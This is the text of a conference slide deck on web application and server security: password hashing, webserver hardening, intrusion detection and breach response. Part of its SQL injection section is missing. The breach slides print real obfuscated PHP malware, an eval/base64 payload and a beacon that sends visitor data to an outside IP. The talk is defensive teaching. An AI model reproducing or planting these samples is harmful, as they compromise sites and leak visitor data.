My app is secure... I think

Embed Size (px)

Citation preview

Wim GoddenCu.be Solutions

My app is secure...I think

Who am I ?

Wim Godden (@wimgtr)

Where I'm from

My town

My town

Who am I ?

Wim Godden (@wimgtr)

Founder of Cu.be Solutions (http://cu.be)

Open Source developer since 1997

Developer of PHPCompatibility, OpenX, Nginx SLIC, ...

Speaker at PHP and Open Source conferences

Who are you ?

Developers ?

System engineers ?

Network engineers ?

Ever had a hack ?Through the code ?

Through the server ?

This talk

Based on 2-day training

Full stack no Vagrant/VirtualBox required

Lots of links at the end slides on Joind.in

This morning we're going to talk about security.

This tutorial is based on a 2day training that we offer.

Training exercises with Vagrant/Virtualbox

Only 3h too short to try everything usually takes 30min before everyone's ready

We have a lot of ground to cover, because...

My app is secure... I think

Basic stuff = known... or is it ?

Code is not enoughCode

Webserver

Database server

Operating system

Network

Tutorial is titled...

devs know basic security no-nosoften unaware of less-common issues

More importantly : creating secure app = more than creating secure code.

Web app = chain of software and hardwareEvery part of chain = equally important.Neglecting single component app and data at risk

So next 3h code and how to secure itAlso security of web stack.Detect hack attempt, again both in code and stackTechniques to make it harder to go unnoticed

Disclaimer

Do not use these techniques to hack

Use the knowledge to prevent others from hacking you

Before we begin :Little disclaimer

Looking at techniques hackers use

Not promoting techniques

Explaining to help you understand there's lot more than meets the eye.

Use knowledge to improve security, not exploit bad code

Reasons for hackers to hack

Steal and sell your data

Use your infrastructure as a jumpstation to hack other servers

Send out lots of spam

Use your server in a botnet for DDOS attacks

Bring down your systems

Part 1 : the most common attacks

OWASP

Open Web Application Security Project

www.owasp.org

Top 10

SQL Injection (OWASP #1)

Over 15 years

Still #1 problem

.

That's the reason to spend a little time explainingwhy there's so much more to SQL injection than what most people think or talk about in talks

SQL Injection (OWASP #1)

.

That's the reason to spend a little time explainingwhy there's so much more to SQL injection than what most people think or talk about in talks

SQL Injection (OWASP #1)

Over 15 years

Still #1 problem

Easy to exploit

Easy to automate (scan + exploit)

Often misunderstood

.

That's the reason to spend a little time explainingwhy there's so much more to SQL injection than what most people think or talk about in talks

Standard SQL injection example

20) Hashed result is always the same length, so restricting is insecure

Try to avoid password hints Email is better for recovery

Don't create your own password hashing algorithm !

Use password_hash5.5+ : built-in

< 5.5 : ircmaxell/password-compat

Password_hash

$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);

$options = array('cost' => 15);if (password_verify($password, $hash)) { if (password_needs_rehash($hash, PASSWORD_DEFAULT, $options)) { $newhash = password_hash($password, PASSWORD_DEFAULT, $options); } echo 'Password correct';} else { echo 'Password incorrect';}

Calculating password hash :

Verifying password hash :

Rehashing old passwords from md5() or sha1()

$stmt = $db->prepare('SELECT * FROM user where email=:email');$stmt->execute(':email' => $email));$userRow = $stmt->fetch(PDO::FETCH_ASSOC);if ($stmt->rowCount() > 0) if (password_verify($password, $hash) || $userRow['pass'] == md5($password)){ // password_needs_rehash will return true when presented with unknown hash if (password_needs_rehash($hash, PASSWORD_DEFAULT)) { $newhash = password_hash($password, PASSWORD_DEFAULT); $stmt = $db->prepare('UPDATE user SET pass=:pass WHERE email=:email'); $stmt->bindparam(':email', $email); $stmt->bindparam(':pass', $newhash); $stmt->execute(); } // Set logged in data in session here, then redirect to logged in page }}echo 'Password incorrect';

Tell users who haven't logged in for a while that their password will expire in x days

Upon login :

Protecting your web stack Webserver

Block direct access to upload directories

Access to private files, uploads, ...

Protecting your web stack Webserver

Block direct access to upload directories

Allow only access to port 80 and 443 (!)

Disable phpMyAdmin (VPN only if required)

On Apache don't :AllowOverride All

Options Indexes

Block access to .svn and .git

Protecting your web stack Webserver

Protecting your web stack Webserver

Don't run web server as root

Don't let web server user access anything outside web root

Detect and ban flood/scan attempts in Nginx :http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;

server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; }}

Use automatic logfile scanner & banner

Example : Fail2ban

[http-get-dos]enabled = trueport = http,httpsfilter = http-get-doslogpath = /var/log/nginx/access.logmaxretry = 300findtime = 300bantime = 600action = iptables[name=HTTP, port=http, protocol=tcp]

Protecting your web stack Database server

No access from the web required

Give it a private IP

Other websites on network ? send traffic over SSL

Protecting your web stack Mail server

Setup SSL for POP3, IMAP, SMTP

Setup DomainKeys

Setup SPF (Sender Policy Framework)

Protecting your web stack DNS server

Possible weak point in architecture

Controls web, MX (mail) records, anti-spam, etc.

DNS hijacking

DNS spoofing

Protecting your web stack

Use public/private key pairs for SSH, not passwords

Don't login as root Use sudo for commands that really need it

Allow SSH access only from VPN

RunningMemcached ?Gearman ? ?

Block external access

Lack of updates

Not updating system packages

Not updating frameworks and librariesNot just main components

Doctrine

Bootstrap

TinyMCE

etc.

Not updating webserver software

Not updating database server software

Recently :Heartbleed (OpenSSL)

Shellshock (Bash)

Ghost (Glibc)

Protecting your web stack - firewalls

Separate or on-server

Default policy = deny all

Don't forget IPv6 !!!

Perform regular scans from external location

Use blacklists to keep certain IP ranges out

Using an Intrusion Detection System

Host-based Intrusion Detection System (HIDS)

Network-based Intrusion Detection System (NIDS)

Host-based Intrusion Detection System

Scans the file system for changesNew/deleted files

Modified files (based on checksum)

File permission changes

Old systems are standalone :AIDE, Tripwire, AFICK

Easy to update by hacker, not recommended (unless combined with backup system)

Intrusion detection by backup

Best Open Source tool = OSSECClient-server-based architecture real-time notification that hacker can't stop

Centralized updates

What's the problem with public wifi ?

Traffic can be intercepted

Traffic hijacking / injection

Forcing site to use HTTPS fixes it right ?What if user goes to some other HTTP site and I inject ? Session cookies are transmitted over HTTP

Use HSTSHTTP Strict Transport Security

Tells browser to use only HTTPS connections

Strict-Transport-Security: max-age=expireTime [; includeSubDomains] [; preload]

Chrome 4+, FF 4+, IE 11+, Opera 12+, Safari 7+

One IDS distro to rule them all

Security OnionBased on Ubuntu

Contains all the IDS tools...

...and much more

You've been hacked ! Now what ? (1/4)

Take your application offline Put up a maintenance page (on a different server)

Take the server off the public Internet

Change your SSH keys

Make a full backup

Check for cronjobs

Check access/error/... logs(And give them to legal department)

Were any commits made from the server ? Your server shouldn't be able to !

What a PHP hack might look like

eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));

What a PHP hack might look like

What a PHP hack might look like

$GLOBALS['_226432454_']=Array();function _1618533527($i){ return '91.196.216.64';}

$ip=_1618533527(0);$GLOBALS['_1203443956_'] = Array('urlencode');function _1847265367($i){ $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i];}$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');function _393632915($i){ return 'curl_version';}

What a PHP hack might look like - location

Changes to .htaccess

Files in upload directory

PHP code in files with different extension

New modules/plugins for Drupal/Wordpress

You've been hacked ! Now what ? (2/4)

Search systempreg_replace

base64_decode

eval

system

exec

passthru

Search system and databasescript

iframe

You've been hacked ! Now what ? (3/4)

Find out how the hack happened ;-)

Write an apology to your customers

Finally :Reinstall the OS (from scratch !)

Update all packages to the latest version

Don't reinstall code from backup !

Install source code from versioning system

Restore DB from previous backup (use binary log file)

You've been hacked ! Now what ? (4/4)

Install IDS

Get an external security audit on the code

Get an external security audit on the system/network setup

Change user passwords

Relaunch

Cross your fingers

Takeaways

Think like a hackerCan I steal data ? Can I DOS the site ?

Which techniques could I use to do it ?

Try it without looking at the code

Try it while looking at the code

Use SSL/HTTPS everywhere !

Block all traffic, then allow only what's needed

Sanitize/filter your input

Escape your output

Block flooders/scanners

Use an IDS

Never trust a hacked system

Questions ?

Questions ?

The software discussed (and more)

General resourcesOWASP : www.owasp.org

SANS : http://www.sans.org/security-resources/

SecurityFocus : http://www.securityfocus.com/

CERT : http://cert.org/

SecTools : http://sectools.org/

SQL injectionHavij (automated tool) WARNING trojan infected !!!! : https://thepirateboat.eu/torrent/8410326/Havij_v1.17ProCracked.7z

sqlmap (automated open source) : http://sqlmap.org/

Clickjacking demo : https://www.youtube.com/watch?v=3mk0RySeNsU

The software discussed (and more)

Password use in PHP5.5+ : password_hash function : http://php.net/password_hash

< 5.5 : password_compat : https://github.com/ircmaxell/password_compat

SSL certificatesRapidSSL FreeSSL : https://www.freessl.com/

Let's Encrypt (free) : https://letsencrypt.org/

StartSSL : https://www.startssl.com

Block access to .svn and .git : http://blogs.reliablepenguin.com/2014/06/26/block-access-git-svn-folders

The software discussed (and more)

Webserver flood/scan detectionNginx : http://nginx.com/resources/admin-guide/restricting-access/

Multi-webserver : http://www.fail2ban.org

Proxy-based : http://www.ecl-labs.org/2011/03/17/roboo-http-mitigator.html

Protecting your mail serverSPF and DomainKeys : http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/

DNSHijacking : http://www.gohacking.com/dns-hijacking/

Spoofing : http://www.windowsecurity.com/articles-tutorials/authentication_and_encryption/Understanding-Man-in-the-Middle-Attacks-ARP-Part2.html

IPv6 don't forget to firewall it the same way :https://www.sixxs.net/wiki/IPv6_Firewalling

The software discussed (and more)

Slow HTTP DOS attacks : https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate-apache-http-server/

IDSPHPPHPIDS : https://github.com/PHPIDS/PHPIDS

Expos : https://github.com/enygma/expose

Host-basedOSSEC : www.ossec.net

Samhain : http://www.la-samhna.de/samhain/

AIDE : http://aide.sourceforge.net/

Network-basedSnort : https://www.snort.org/

Sirucata : http://suricata-ids.org/

All in one : Security Onion : http://blog.securityonion.net/

The software discussed (and more)

Penetration testing live CD :Backtrack Linux : http://www.backtrack-linux.org/

Kali Linux : https://www.kali.org/

Automatic scanning tools :Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner

Wapiti : http://wapiti.sourceforge.net/

Nexpose : http://www.rapid7.com/products/nexpose/

Web App Scanning / Auditing :w3af : http://w3af.org/

Wapiti : http://wapiti.sourceforge.net/

Nikto2 : https://cirt.net/nikto2

In case you're interested

Tutorial : 2,5h - 3h

Training : 2 days1,5 days of interactive training (partly slides, partly hands-on)Try out different security issues

Experiment on local virtualboxes and physical machines we bring along

0,5 day of auditingYour code

Your servers

Your network

As a global team effort or in smaller teams

More details : https://cu.be/training

Contact

Twitter @wimgtr

Slides http://www.slideshare.net/wimg

E-mail [email protected]

Please provide feedback via :https://legacy.joind.in/18189